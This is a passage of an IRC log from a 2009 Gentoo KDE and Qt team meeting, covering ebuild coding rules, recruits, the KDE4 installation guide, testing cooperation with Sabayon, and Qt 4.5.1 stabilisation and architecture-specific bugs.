+23:46 (@scarabeus) krytzz: :D
+23:46 (@hwoarang) lazy ppl
+23:47 (@hwoarang) you can write a quick draft for kde ebuilds, just like i did for qt4 based ebuilds
+23:47 (+reavertm) will be there
+23:47 (+reavertm) as well as templates for blocks, etc
+23:47 (+reavertm) anyway - one rule
+23:47 (@yngwin) btw, i want $PN in commit messages for qting-edge as well
+23:48 (@hwoarang) hm?
+23:48 (+reavertm) everyone should respect them :)
+23:48 (@jmbsvicetto) scarabeus: If we have a CODE file, I might add a few suggestions about ebuilds (the ones reavertm noted some time ago)
+23:48 (@scarabeus) yep this one is draft
+23:49 (@scarabeus) althrought i enforce it as-is
+23:49 (@scarabeus) so please improve it
+23:49 (@hwoarang) yngwin: what? you want a template for qting-edge commits?
+23:49 (@scarabeus) and in next meeting it will be enabled as hard-forced
+23:49 (@scarabeus) and we should punish not folowing it
+23:49 -!- Red_Devil [n=red@lounge.datux.nl] joins -> #gentoo-kde
+23:49 (@scarabeus) i know annoying, but reduces time needed for maintaining
+23:49 (@hwoarang) indeed
+23:49 (@yngwin) hwoarang: yes please start commit msg with $PN
+23:50 -!- Red_Devil is now known as Guest36992
+23:50 (@hwoarang) thats sad. I really enjoyed funny commit messages
+23:50 (@hwoarang) :D
+23:50 (@yngwin) i dont mind funny :)
+23:50 (@hwoarang) ok hold on
+23:50 (+reavertm) ok, anything else? next?
+23:50 (@yngwin) but i do want to see what pkg is affected
+23:50 (@hwoarang) !herd qt && Pesa && spatz
+23:50 (+wired) lol-cat/pn
+23:50 (@hwoarang) ^^
+23:50 (@hwoarang) && wired
+23:51 (Pesa) hwoarang: i'm here
+23:51 -!- mode/#gentoo-kde [+vv Pesa spatz] by scarabeus
+23:51 (+wired) hwoarang: seriously, we read it already
+23:51 (+wired) :D
+23:51 (@hwoarang) did you see what we said about commit messages?
+23:51 -!- The_Ball_ [n=The_Ball@d58-106-141-118.sbr4.nsw.optusnet.com.au] <- quit [Read error: 110 (Connection timed out)]
+23:51 (+spatz) yep
+23:51 (@hwoarang) you did
+23:51 (@hwoarang) ok
+23:51 (+Pesa) yes
+23:52 (@hwoarang) anything else about CODE kde ppl?
+23:52 (@scarabeus) ok
+23:52 (@scarabeus) code done
+23:52 (@scarabeus) if noone has anything else
+23:52 (Willikins) hwoarang: incorrect usage, ask for help using 'Willikins: help herd'
+23:52 (+wired) lolz
+23:52 (@hwoarang) yes baby whatever
+23:52 (@scarabeus) next new pple in team etc/etc...
+23:52 (@scarabeus) so if you move your eyes to voiced pple
+23:53 (@hwoarang) we have plenty of them :P
+23:53 (@scarabeus) those are our not-yet deved/herdtested resources
+23:53 (@jmbsvicetto) hmmm, we're at around half of the agenda and we're hitting the 2 hour mark
+23:53 (+wired) who did you call a resource!!! :D
+23:53 (@yngwin) wired has finished quizzes, now it's up to recruiters
+23:53 (@hwoarang) this meeting will last forever!
+23:53 (@scarabeus) jmbsvicetto: too much spam about kde3
+23:53 (+krytzz) 1/4 if you add the qt stuff jmbsvicetto :p
+23:53 (@hwoarang) \o/
+23:53 (@scarabeus) most is done
+23:53 (+reavertm) jmbsvicetto: you know - it's merithorical meeting, not just fluff talk! :)
+23:53 (@scarabeus) jmbsvicetto: kdeprefix is done
+23:53 (@scarabeus) and so on
+23:54 (@yngwin) i'm interjecting qt recruits now
+23:54 (@scarabeus) ok so if you pple want to mentor someone
+23:54 (+reavertm) scarabeus: I'd have some idea
+23:54 (@scarabeus) or vice versa, if someone has urge became dev fast :D
+23:54 (@scarabeus) reavertm: you dont count, you have resistance to becaming dev, althrought i dunno why ;D
+23:54 (+reavertm) even if we have quite many HT's and contributors, I still feel we're understaffed in terms of tracking uptream patches
+23:54 (@yngwin) Pesa has been very active with Qt already, and spatz is our newest recruit
+23:55 (@hwoarang) \o/
+23:55 (+wired) woot
+23:55 (@yngwin) they both are on their way to devhood
+23:55 (+spatz) :D
+23:55 (+Pesa) ;)
+23:55 (@yngwin) there is another one, sping, not here now, he will join us after finishing GSoC
+23:55 (@tampakrap) and me :D
+23:55 (@hwoarang) we are growing fast
+23:55 (@hwoarang) be carefeull
+23:55 (@scarabeus) for kde team i would like krytzz and papillon81 to work on their ebuild quiz, cause you two are progressing :]
+23:55 (+papillon81) scarabeus: i have the quiz ready :-)
+23:55 (@scarabeus) great
+23:56 (@scarabeus) papillon81: sent it by mail, and we will discuss the meeting about it
+23:56 (+wired) yngwin: btw when should I expect a response? :)
+23:56 (@scarabeus) later :}
+23:56 (@hwoarang) soon wired
+23:56 (+krytzz) i cant devote enough time currently to do serious stuff
+23:56 (@yngwin) tampakrap: you may hear from sping (sebastian) as he is interested in qt3/kde3 maintenance
+23:56 (@yngwin) wired: usually within a few days
+23:56 (+reavertm) btw, what about 'assigning' some herd packages to particulat people?
+23:57 (+reavertm) for example one would take kdepim, someone else kdebindings
+23:57 (@tampakrap) not kde-base/* only extra packages
+23:57 (@scarabeus) reavertm: it needs interest
+23:57 (+reavertm) this way work is somewhat split
+23:57 -!- mikkoc [n=mikko@host116-78-dynamic.17-79-r.retail.telecomitalia.it] <- quit [Remote closed the connection]
+23:57 (+papillon81) scarabeus: it's mostly ready but already lying around for a year or so. will have to look over it
+23:57 (+wired) yngwin: thnx
+23:57 (@scarabeus) papillon81: no prob :}
+23:57 (+reavertm) scarabeus: of course... unfortunately
+23:58 (@scarabeus) ok i think that is all i wanted about recruits
+23:58 (@jmbsvicetto) reavertm: That's against the spirit of herds
+23:58 (@scarabeus) i wanted you to see them
+23:58 (@scarabeus) and also whom is progressing i contacted
+23:58 (@jmbsvicetto) reavertm: But nothing prevents one from adding himself to a package belonging to one of the herds
+23:58 -!- dagger [n=dagger@gentoo/developer/dagger] <- leaves #gentoo-kde ["http://quassel-irc.org - Chat comfortably. Anywhere."]
+23:58 -!- dagger [n=dagger@gentoo/developer/dagger] joins -> #gentoo-kde
+23:58 -!- mode/#gentoo-kde [+o dagger] by ChanServ
+23:58 (@scarabeus) anything else upon recruits?
+23:58 (@scarabeus) anyone?
+23:59 -!- The_Ball [n=The_Ball@d58-106-136-240.sbr4.nsw.optusnet.com.au] <- quit [Read error: 110 (Connection timed out)]
+23:59 (@scarabeus) jokey: are you here?
+23:59 (+reavertm) jmbsvicetto: I'm not talking about beaurocracy (adding to metadata) but real maintenance (periodically looking for some bugs in kde.org)
+23:59 (+reavertm) or we can just rely on b.g.o
+23:59 (@scarabeus) we are good at handling new bugs
+23:59 (@scarabeus) really
+23:59 (@jmbsvicetto) reavertm: Well, people can focus on particular areas
+--- Day changed Fri May 22 2009
+00:00 (jokey) scarabeus: yep
+00:00 (@jmbsvicetto) About bugs, we need to start paying extra attention to security bugs
+00:00 (@scarabeus) jokey: so, what i need to do to be able to add pple to our git overlay
+00:00 (@scarabeus) jokey: i can do for sunrise, so what is needed to be done for kde team ones
+00:00 (@jmbsvicetto) you need to poke him :P
+00:00 (@scarabeus) i know
+00:00 (@jmbsvicetto) or rbu or robbat2
+00:00 (@scarabeus) directly i mean
+00:00 (jokey) need to mess with robin, I'll poke you back
+00:00 (@scarabeus) rbu cant touch git
+00:00 (@jmbsvicetto) scarabeus: he can
+00:01 (@dagger) scarabeus: he can
+00:01 (@scarabeus) jokey: this workflow is unflexible :]
+00:01 (@scarabeus) dagger: good update :]
+00:01 (@scarabeus) okey i will handle this with jokey internaly then :]
+00:01 (@scarabeus) the next topic is our guide
+00:01 (@scarabeus) kde4 one
+00:01 (@scarabeus) it neeeds update/cleanup
+00:01 (@scarabeus) who will do it
+00:01 (+reavertm) "handling cmake relwithdebuginfo compilation to please upstream..." ?
+00:01 (jokey) internally? oO teh sekrit
+00:02 (joost_op) guys can the sabayon point on the agenda be discussed at later time
+00:02 (@jmbsvicetto) joost_op: hehe
+00:02 (@scarabeus) reavertm: deffered
+00:02 (@scarabeus) reavertm: thought about it
+00:02 (@scarabeus) reavertm: not worth
+00:02 (+krytzz) what??
+00:02 (+reavertm) yeah, agreed
+00:02 (+papillon81) goooood
+00:02 (@scarabeus) jokey: definetly
+00:02 (@scarabeus) ;]
+00:03 (joost_op) jmbsvicetto, i think it can be talked about off the record anyway
+00:03 (@scarabeus) so the guide
+00:03 (+krytzz) ok then lets discuss this later scarabeus
+00:03 (@scarabeus) who
+00:03 (@tampakrap) wait
+00:03 (@tampakrap) about the guide
+00:03 (@tampakrap) would you like a kde3/4 monolithic one?
+00:03 (@jmbsvicetto) joost_op: sorry, that was meant for jokey
+00:03 -!- pgega [n=pgega@77-99-66-168.cable.ubr01.tonb.blueyonder.co.uk] joins -> #gentoo-kde
+00:04 (joost_op) oh
+00:04 (@yngwin) tampakrap: i think it makes sense, with kde4 going to go stable
+00:04 (@tampakrap) stating how to install kde4, how to install live/snapshots and how to install 3.5, and how we can mix them
+00:04 (@tampakrap) i'll do the guide
+00:04 (@tampakrap) agreed with the mixed guide?
+00:05 (joost_op) scarabeus, let me know the outcome of the dicussion
+00:05 (@tampakrap) boss? devs? hts?
+00:05 (joost_op) if any
+00:05 (@scarabeus) tampakrap: agreed
+00:05 (@scarabeus) so quiet...
+00:05 (@jmbsvicetto) tampakrap: Perhaps we could have a new doc that points to specific guides about KDE4 and KDE3
+00:05 (@scarabeus) what happend
+00:05 -!- AntiXpucT [n=Skim@77.106.108.232] <- quit []
+00:06 (@jmbsvicetto) tampakrap: That doc would just focus on the integratio of 3 and 4
+00:06 (@yngwin) scarabeus: more beer, less talk ;)
+00:06 (@hwoarang) lolz
+00:06 (@jmbsvicetto) yngwin: I need to have some fun with work network yet, so no beer for me ;)
+00:06 (@yngwin) heh
+00:06 (+reavertm) if we focus guys - we'll finish earlier :P
+00:07 (@hwoarang) ok with the guide?
+00:07 (joost_op) +1
+00:07 (@hwoarang) shall we proceed?
+00:07 (@hwoarang) tampakrap: ?
+00:07 (@tampakrap) jmbsvicetto: the procedure to install kde3 and to install kde3/4 isn't different so i wouldn't agree :)
+00:07 (@tampakrap) same sets, same keyword files...
+00:07 (@jmbsvicetto) tampakrap: ok, feel free to work on it
+00:07 (@yngwin) i say whoever writes the guide(s), gets to make the decision
+00:07 (@tampakrap) ok move on then
+00:08 (@scarabeus) ok yngwin you take over
+00:08 (@hwoarang) what about kdebindings?
+00:08 (@hwoarang) is this off as well?
+00:08 (@scarabeus) eh
+00:08 (+reavertm) lacks some ebuilds
+00:08 (@scarabeus) right
+00:08 (@scarabeus) bindigns
+00:08 (@dagger) "kdebindings, lots of stuff missing there"
+00:08 (@scarabeus) we lacks tons of stuff
+00:08 (+reavertm) usually ruby and c#
+00:08 -!- jmbsvicetto topic of #gentoo-kde ->> Gentoo KDE | meeting: Now - kdebindings | KDE 4 guide: http://tinyurl.com/4n47v4 | p.keywords: http://xrl.us/kdekeyw | Overlays: kde-testing, qting-edge | Want to help? http://tinyurl.com/gktodo | Bugs: http://tinyurl.com/kdebugs1 http://xrl.us/qtbugs | Useful links: http://userbase.kde.org/ http://ktown.kde.org/~dirk/dashboard | Want to test KDE4 on a kvm? http://tinyurl.com/by7tv3 | KDE 4.2.87in kde-testing! | SitRep: SNAFU
+00:09 (+wired) lol
+00:09 (@yngwin) ok, whats the story with ruby for kde? does that depend on (currently broken) qt4-qtruby at all?
+00:09 (+reavertm) nobody knows :)
+00:09 (@scarabeus) ruby java c# php
+00:09 (@scarabeus) so whom wants it
+00:09 (+reavertm) - we need to try add those ebuilds
+00:09 -!- ABCD [n=ABCD@wikipedia/ABCD] joins -> #gentoo-kde
+00:10 (+reavertm) - maybe some ebuild name refactor for 4.3
+00:10 (+reavertm) anything else regarding kdebindings?
+00:10 (@scarabeus) ok reavertm we will talk about it later
+00:10 (@jmbsvicetto) scarabeus: no PERL?
+00:10 (@scarabeus) reavertm: and delegate to other HTs
+00:10 (@scarabeus) jmbsvicetto: no perl
+00:10 (@jmbsvicetto) I suggest we hand JAVA to bonsaikitten :P
+00:10 (@scarabeus) bindigns done
+00:11 (@scarabeus) joost_op: do you want to talk about sabayon then?
+00:11 (@jmbsvicetto) He's becoming too sane
+00:11 (@scarabeus) D
+00:11 (@bonsaikitten) jmbsvicetto: thank you :)
+00:11 (@jmbsvicetto) bonsaikitten: we aim to please ;)
+00:11 (@bonsaikitten) I aim to kill
+00:11 (+papillon81) :D
+00:11 (joost_op) well scarabeus i'm here
+00:12 (+reavertm) go :)
+00:12 (@scarabeus) shoot
+00:12 (@scarabeus) :]
+00:12 (@dagger) RUN!
+00:12 (joost_op) from the sabayon side we want to shoulder the kde herd as much as possible
+00:12 -!- Guest36992 [n=red@lounge.datux.nl] <- quit [Read error: 60 (Operation timed out)]
+00:12 (joost_op) what we can offer would be something in the form off a repository that has experimental kde stuffs, built of the testing tree
+00:12 (+reavertm) you already did with some automagic deps and doc verification
+00:13 (joost_op) since i would maintain that tree, i could feedback about my findings
+00:13 (+reavertm) binary packages you mean? i don't follow
+00:13 (joost_op) nah
+00:14 (joost_op) i built against a tree thats near full portage
+00:14 -!- UT2K3 [n=UT2K3@212.86.209.81] joins -> #gentoo-kde
+00:14 (joost_op) sabayon is near full portage
+00:14 (+reavertm) yes, I know, what would be that experimental kde stuff?
+00:14 -!- FlyingFoX [n=FlyingFo@137.226.140.67] joins -> #gentoo-kde
+00:14 (joost_op) well, e.g. you are working on kde 4.3
+00:15 (joost_op) i could add this in a kde repository
+00:15 (joost_op) and start working on this and feedback my findings
+00:15 (UT2K3) hello guys, i'm using fglrx with dualscreen. When run kde its only on the notebook lcd and the right screen have no wm. Its possible to make it work?
+00:15 (@hwoarang) why not use the ebuilds from kde-testing? whu starting a new repository
+00:15 (joost_op) if you think it would help collect info
+00:15 (@hwoarang) UT2K3: meeting now . laterz :
+00:15 (@hwoarang) :)
+00:16 (joost_op) hwoarang, we don't want that in our mainline repositories ..
+00:16 (+krytzz) joost_op hm well duplicated work/ebuilds is always bad :p
+00:16 (UT2K3) oh its still meeting ok
+00:16 (@hwoarang) as krytzz said, duplicating ebuilds will lead to more compilcated results
+00:17 (@dagger) UT2K3: yeah, but it shouldn't take long now
+00:17 (joost_op) do you guys to start with see a benefit in me, or sabayon, help testing
+00:17 (tdr) duplicated ebuild confuse people
+00:17 (+reavertm) joost_op: you're free to do anything with ebuilds - and patches (those upstream I guess) are always welcome
+00:17 (UT2K3) okay (= ty
+00:17 (@jmbsvicetto) joost_op: If you want to cooperate, using something we provide would seem to be better for both projects than duplicating work
+00:17 (joost_op) nono
+00:17 (joost_op) your ebuilds
+00:17 -!- panard [n=panard@2a01:e35:8a09:e130:2e0:61ff:fe11:7adb] <- quit [Read error: 104 (Connection reset by peer)]
+00:18 (+reavertm) joost_op: you just need to find someone to take care of this - it's quite a bit of work
+00:18 (joost_op) lol
+00:18 (@jmbsvicetto) So you mean you could test ~arch ebuilds?
+00:18 (joost_op) x86 and amd64
+00:18 (+krytzz) joost_op we had this already with kde-crazy and kde-testing, was a mess :p
+00:18 (@jmbsvicetto) Then go for it, we'll be glad to get bug reports
+00:18 (joost_op) i have a power machine to built
+00:18 (@scarabeus) ok i will put it this way
+00:19 (joost_op) i have testers AND users that report
+00:19 (@scarabeus) bugs from ppl with @sabayonlinux.org will be handled legitimely as our bugs
+00:19 (@scarabeus) and we can reflect them as HTs
+00:19 (@jmbsvicetto) joost_op: although most of us run ~arch or stuff in kde-testing
+00:19 (joost_op) i can filter whats important
+00:19 (@scarabeus) just for internal herd needs
+00:19 -!- Sho_ [n=EHS1@kde/hein] <- quit [Read error: 104 (Connection reset by peer)]
+00:19 (@scarabeus) so we can rely for some info from them
+00:19 (+reavertm) especially those automagic deps are welcome
+00:19 (@scarabeus) yep
+00:19 (+reavertm) :)
+00:20 (@scarabeus) those made mine day great :]
+00:20 -!- Sho_ [n=EHS1@kde/hein] joins -> #gentoo-kde
+00:20 (joost_op) yeah in our staff meeting we talked about how to report anything back to gentoo
+00:20 (@jmbsvicetto) ok, I'll have to leave in approximately 10 minutes
+00:20 (@dagger) Qt stuff now?
+00:21 (@scarabeus) jmbsvicetto: did you read what i wrote?
+00:21 (@scarabeus) any objections to that?
+00:21 (joost_op) anybody from our team uses @sabayonlinux.org
+00:21 (@jmbsvicetto) joost_op: we discuss details later with you. We can even schedule some time
+00:21 (joost_op) and each report has been dicussed in our team first
+00:21 -!- panard [n=panard@banquise.backzone.net] joins -> #gentoo-kde
+00:21 (joost_op) to not overload anybody
+00:21 (joost_op) and to certainly not duplicate work
+00:21 (@jmbsvicetto) scarabeus: no objection
+00:22 (joost_op) allright
+00:22 -!- helch [n=helch@212-41-73-167.adsl.solnet.ch] <- quit [Remote closed the connection]
+00:22 (@jmbsvicetto) In some cases we might require some testing to duplicate the bug, but we'll address the bugs
+00:22 (joost_op) i'm saying you can abuse me to get things in our yet to make repository
+00:22 (joost_op) where we can heve people to test it
+00:23 (joost_op) *have
+00:23 (@jmbsvicetto) ok, thanks
+00:23 -!- mpagano [n=mpagano@gentoo/developer/mpagano] <- quit ["cya"]
+00:23 (@scarabeus) ok we will address this issue more at more comfy time :]
+00:23 (@scarabeus) now lets get to the qt
+00:23 (@hwoarang) \o/
+00:23 (@hwoarang) ************************** qt meeting *****************************
+00:23 (joost_op) allright, thx
+00:23 (@hwoarang) wake up ppl
+00:23 (+Pesa) :)
+00:23 (@hwoarang) !herd qt
+00:24 (+wired) hwoarang: seriously, we're all here
+00:24 (Willikins) (qt) carlo, hwoarang, tampakrap, yngwin
+00:24 (+wired) :D
+00:24 (@dagger) bear time :)
+00:24 (@hwoarang) spatz: ping
+00:24 (+spatz) pong
+00:24 (@dagger) (not ever beer :p)
+00:24 (@jmbsvicetto) hwoarang: technically it's still the KDE *team* meeting ;)
+00:24 (@hwoarang) well yes :P
+00:24 (@yngwin) ok, first decision: next time separate qt meeting
+00:24 (@hwoarang) i just wanted to wake them up
+00:24 (@hwoarang) :D
+00:24 (@yngwin) this is getting too long for some ppl
+00:24 (+reavertm) I agree
+00:24 -!- Sho_ [n=EHS1@kde/hein] <- quit [Read error: 104 (Connection reset by peer)]
+00:24 (@tampakrap) for all
+00:24 (@hwoarang) i think this is the first time the kde one took that long
+00:25 (@scarabeus) yngwin: well the issue is due to we didnt have meeting in 2 months window
+00:25 (+reavertm) we're technical, soory ;)
+00:25 (@yngwin) i know
+00:25 (@jmbsvicetto) yngwin: Do you think it's best to have split meetings or should we have more frequent/shorter meetings?
+00:25 (@scarabeus) good Q
+00:25 (@yngwin) more frequent + shorter
+00:25 (+reavertm) split meeting is good anyway
+00:25 (+papillon81) first of all we should go on with the topics
+00:25 (@hwoarang) +1 yngwin
+00:25 (+reavertm) no need to qt folks to attend to kde meeting anyway unless they're interested
+00:26 (@jmbsvicetto) yngwin: I can live with both and if we keep having the same meeting, qt issues don't (shouldn't) be left for the end
+00:26 (@hwoarang) meeting is supposed to be 'project' wise
+00:26 (@hwoarang) not herd wise
+00:26 (@scarabeus) jmbsvicetto: it is for this time
+00:26 (@scarabeus) jmbsvicetto: next time i can shuffle the topics
+00:26 (@jmbsvicetto) yeah, I'm just opening up other solutions in case people prefer them
+00:26 (@scarabeus) and we can have the meetings often i dont mind :]
+00:26 (@yngwin) alright, lets get on it
+00:26 -!- Civil [n=Civilian@95-24-2-240.broadband.corbina.ru] <- quit [Remote closed the connection]
+00:27 (@yngwin) we can discuss needs for next meeting tomorrow ;)
+00:27 (@hwoarang) i think we can pass the recruit stuff
+00:27 (@scarabeus) okey
+00:27 (@yngwin) recruits i already mentioned
+00:27 (@yngwin) qt status in tree
+00:27 (@yngwin) 4.5.1 is goibng stable, but arches are slow
+00:27 (@hwoarang) indeed :/
+00:27 -!- Displacer [n=tool@tool.gtn.ru] <- quit ["Leaving"]
+00:27 (+wired) !earch qt-core
+00:27 (Willikins) wired: x11-libs/qt-core 4.4.2[4]: 4.4.2-r2[4]: amd64 hppa ia64 ppc64 sparc x86 4.5.1[4]: alpha ~amd64 ~arm ~hppa ~ia64 ~mips ppc ~ppc64 ~sparc ~x86 ~x86-fbsd
+00:28 (@hwoarang) there is a bug about the -platform . The addition on qt4-build-edge eclass seems to fix it
+00:28  -> hwoarang searches the bug
+00:28 (+wired) bug 266201
+00:28 (Willikins) wired: https://bugs.gentoo.org/266201 "Please mark x11-libs/qt-*-4.5.1 stable [also regression tracker]"; Gentoo Linux, Ebuilds; NEW; yngwin@g.o:qt@g.o
+00:28 (@hwoarang) bug 270475
+00:28 (Willikins) hwoarang: https://bugs.gentoo.org/270475 "x11-libs/qt-4.5 configure guesses arch based on uname"; Gentoo Linux, Ebuilds; NEW; jokey@g.o:qt@g.o
+00:29 -!- emera|d [n=smaragd@p579DE9E7.dip.t-dialin.net] <- quit []
+00:29 (@hwoarang) this bug ( and the proposed solution ) seems to fix the massive errors we had with ppc, chroots, distcc etc
+00:30 (@yngwin) ok, i propose we add arches on that one, and ask their opinion
+00:30 (@jmbsvicetto) It would great if you could get upstream to fix qt-webkit on sparc
+00:30 (+papillon81) there is another patch for qt-gui (already in the qting-edge overlay), that fixes PPC graphics issues and should go to the treee ASAP
+00:30 (@hwoarang) qt-gui is stable on ppc
+00:30 (@jmbsvicetto) We won't be able to get KDE in sparc until qt-webkit is fixed or we can make KDE upstream make it optional
+00:30 (@yngwin) bug number?
+00:30 (+wired) yngwin: ^^ thats the one i've talked to you about
+00:31 (@hwoarang) jmbsvicetto: dont expect this to happen soon
+00:31 (@yngwin) i know, i still havent heard if its so important and why
+00:31 (@hwoarang) upstream is really really slow
+00:31 (+papillon81) yngwin: no bug #
+00:31 (@hwoarang) i really dont think we should do a revbump just for a ppc patch
+00:31 (@hwoarang) cause all other arches will upgrade for nothing
+00:31 (@hwoarang) maybe we can put is 'silently' on stable qt-gui-4.5.1
+00:31 (@hwoarang) *s/is/it
+00:31 (+papillon81) hwoarang: just add it silently :-)
+00:32 (@yngwin) we need a proper bug report
+00:32  -> papillon81 will do it
+00:32 (@tampakrap) well, revbump and tell ppc to stabilize again
+00:32 (@yngwin) because i still dont know what we're talkingf about
+00:32 (@tampakrap) it won't break stable users anywayz
+00:32 (@hwoarang) tampakrap: revbump is wrong
+00:32 (@hwoarang) the rest of arches dont need to emerge qt-gui again
+00:32 (@jmbsvicetto) yngwin / wired: are you asking the bug number for qt-webkit and sparc?
+00:33 (@hwoarang) it is just a ppc patch that can go on the current qt-gui
+00:33 (@tampakrap) i know but there is no other way
+00:33 (@yngwin) ok, we can discuss that on the bug
+00:33 (+wired) jmbsvicetto: no the patch for qt-gui and ppc
+00:33 (@hwoarang) good
+00:33 (@yngwin) jmbsvicetto: no, the ppc issue
+00:33 (@jmbsvicetto) ok
+00:33 (+wired) jmbsvicetto: it doesn't have a bug
+00:34 (@tampakrap) two options, silent update or revbump and restabilize, choose one, i choose the second
+00:34 (@yngwin) ok, other in tree issues?
+00:34 (@hwoarang) scarc issue should go upstream but i am pretty sure it ll take forever even to accept it as valid
+00:34 -!- ali_bush_work [i=cab44391@gateway/web/ajax/mibbit.com/x-e12143e624250926] joins -> #gentoo-kde
+00:34 (@yngwin) yes, but we can do our duty and report
+00:34 (@hwoarang) yes
+00:34 (@hwoarang) of course
+00:34 (@tampakrap) wait
+00:34 (@tampakrap) the sparc issue is reported by me in gentoo bugzilla long time ago
+00:34 (@tampakrap) i've made some research about it
+00:35 (@hwoarang) yes but did you take it upstream?
+00:35 (@tampakrap) there was actually a patch
+00:35 (@hwoarang) can you ?
+00:35 (@hwoarang) mmm
+00:35 (@yngwin) bug # ?
+00:35 (@tampakrap) but it broke ppc64 i think or something
+00:35 (@jmbsvicetto) tampakrap: The patch wasn't accepted upstream
+00:35 (@tampakrap) of course since it broke ppc64
+00:35 (@jmbsvicetto) tampakrap: And iirc, that bug may also affect alpha (or at least also interests them)
+00:35 (@yngwin) we could apply the patch only on sparc
+00:36 (@tampakrap) yes
+00:36 (@tampakrap) exactly
+00:36 (@hwoarang) sound like an easy work around
+00:36 (@tampakrap) i own a sparc but it will take some time to update it to qt-4.5
+00:36 (@tampakrap) i'll contact sparc herd as well
+00:36 (@hwoarang) ok
+00:36 (@jmbsvicetto) tampakrap: tcunha and jmorgan might be willing to help out with it
+00:37 (@tampakrap) bug 235685
+00:37 (Willikins) https://bugs.gentoo.org/235685 "x11-libs/qt-webkit-4.4.x sigbus on ~sparc"; Gentoo Linux, KDE; NEW; tampakrap@g.o:sparc@g.o
+00:38 (@hwoarang) ok
+00:38 (@yngwin) ok, if you can follow-up on that with sparc arch team
+00:38 (@tampakrap) comment 7 says that it should not be restricted to sparc only
+00:38 -!- B-Man1 [n=B-Man@cpe-098-024-241-139.ec.res.rr.com] joins -> #gentoo-kde
+00:38 (@tampakrap) i don't know why
+00:38 (+papillon81) bug 270769
+00:38 (Willikins) papillon81: https://bugs.gentoo.org/270769 "x11-libs/qt-gui-4.5.1 PPC endian fix"; Gentoo Linux, Ebuilds; NEW; chrschmitt@gmail.com:bug-wranglers@g.o
+00:38 (@yngwin) tampakrap: could be interesing for other arches too, like alpha
+00:39 (@yngwin) papillon81: tnx
+00:40 (@hwoarang) are we done with bugs?
+00:40 (@yngwin) no
+00:40 (@yngwin) i'd like someone to look at bug 209626
+00:40 (Willikins) yngwin: https://bugs.gentoo.org/209626 "Patches for qt4.eclass and qt4-build.eclass to make them ready for eclass-manpages"; Gentoo Linux, Eclasses and Profiles; NEW; bugs@rennings.net:qt@g.o
+00:41 (@hwoarang) I will take care of it
+00:41 (@yngwin) thanks
+00:41 (@hwoarang) anything else?
+00:42 -!- andreax [n=andreaz@p57B94087.dip.t-dialin.net] joins -> #gentoo-kde
+00:42 (@yngwin) and is there anyone interested in bug 224951 ?
+00:42 (Willikins) yngwin: https://bugs.gentoo.org/224951 "[Tracker] dev-ruby/qt4-qtruby issues"; Gentoo Linux, Applications; NEW; unnamedrambler@gmail.com:ruby@g.o
+00:42 -!- Friesia [n=speckius@212.113.107.78] <- quit [Remote closed the connection]
+00:42 (@yngwin) it has been hardmasked (all versions) in tree for a while now
+00:42 (@hwoarang) brrrrrrrrrrrrr ruby
+00:43 (@yngwin) well, i think we should fix it or schedule for removal
+00:43 (@hwoarang) we can ping ruby herd again
+00:43 (@hwoarang) as reach a common decision
+00:43 (@hwoarang) *and
+00:44 (@yngwin) i started doing some testing on 2.x version, but didnt get far
+00:44 (+wired) i could give it a try as well
+00:44 (@hwoarang) we can add it on overlay and start playing
+00:44 (@yngwin) i needs work (which means time)
+00:44 (@yngwin) ok, i'll add what i have to overlay
+00:44 (@hwoarang) ok
+00:44 (+wired) =]
+00:44 (@hwoarang) bug 236341 needs some love as well
+00:44 (Willikins) hwoarang: https://bugs.gentoo.org/236341 "PyQt4 has automagic dependencies"; Gentoo Linux, Ebuilds; REOP; alessandro.guido@gmail.com:qt@g.o
+00:45 (@hwoarang) i think me and Pesa will get this done soon
+00:45 (+Pesa) i'm working on that one
+00:45 (@yngwin) nice
+00:45 (@hwoarang) sweet
+00:45 (@hwoarang) i cant see anything else
+00:45 (+Pesa) btw, bug 251997 was fixed some time ago
+00:45 (Willikins) Pesa: https://bugs.gentoo.org/251997 "net-im/psi: pre-stripped files found"; Gentoo Linux, Ebuilds; NEW; flameeyes@g.o:welp@g.o
+00:45 -!- andreax1 [n=andreaz@p57B9556B.dip.t-dialin.net] <- quit [Operation timed out]
+00:45 (+Pesa) please mark as such :)
+00:45 (@yngwin) ok, we can close that?
+00:45 (@hwoarang) yes indeed
+00:45 (+Pesa) yep
+00:46 (+Pesa) fixed by a change in eqmake4
+00:46 (@yngwin) done
+00:46 (@hwoarang) \o/
+00:46 (+Pesa) thanks
+00:46 (@hwoarang) any other bugs?
+00:46 (@yngwin) what about the embedded stuff
+00:47 (@hwoarang) tricky
+00:47 (@hwoarang) qt-embedded?
+00:47 (@yngwin) esp https://bugs.gentoo.org/show_bug.cgi?id=43827#c9
+00:48 (@hwoarang) we can contact him
+00:48 (@yngwin) maybe we should contact him and see if he still wants to maintain it
+00:48 (@hwoarang) and ask him to be proxy mantainer
+00:48 (@yngwin) then add it to overlay or tree
+00:48 (@yngwin) indeed
+00:48  -> hwoarang noted
+00:48 (@hwoarang) I will contact him
+00:48 (@yngwin) ok, on to overlay then?
+00:49 -!- panard [n=panard@banquise.backzone.net] <- quit [Read error: 54 (Connection reset by peer)]
+00:49 (@hwoarang) sorry?
+00:49 (@tampakrap) yes
+00:49 (@yngwin) next point on agenda
+00:49 (@hwoarang) we are moving on?
+00:49 (@hwoarang) ok
+00:49 (@hwoarang) Pesa: spatz
+00:49 (@hwoarang) are you guys using qt live ebuilds?
+00:49 (+Pesa) no
+00:49 (+spatz) nope
+00:49 -!- Guest36992 [n=red@lounge.datux.nl] joins -> #gentoo-kde
+00:49 (@tampakrap) i am
+00:50 (@hwoarang) ok
+00:50 (+papillon81) me
+00:50 (+reavertm) i use qt-copy in chroot
+00:50 (@hwoarang) so we need to see who maintains what
+00:50 (@hwoarang) i do maintain 4.5.9999 (both qt-copy and nokias )
+00:50 (@yngwin) i use latest release
+00:50 (+reavertm) but I'm no longer maintaing those...
+00:50 (@hwoarang) that is 4.9999?
+00:50 (@hwoarang) wired: is on 4.9999
+00:50 (+wired) i test 4.999 and 4.5.9999[-qt-copy
+00:50 (@yngwin) 4.9999 is nokia qt git trunk
+00:50 (+wired) i test 4.999 and 4.5.9999[-qt-copy]
+00:51 -!- panard [n=panard@2a01:e35:8a09:e130:2e0:61ff:fe11:7adb] joins -> #gentoo-kde
+00:51 (@hwoarang) so we are ok on that
+00:51 -!- Polynomial-C [n=Poly-C@gentoo/developer/Polynomial-C] <- quit [Remote closed the connection]
+00:51 (+wired) nokia
+00:51 (+wired) 4.6 trunk and 4.5 trunk ^^ :)
+00:51 -!- Hello_World [n=koukos@ip-83-212-218-40.adsl.aueb.gr] joins -> #gentoo-kde
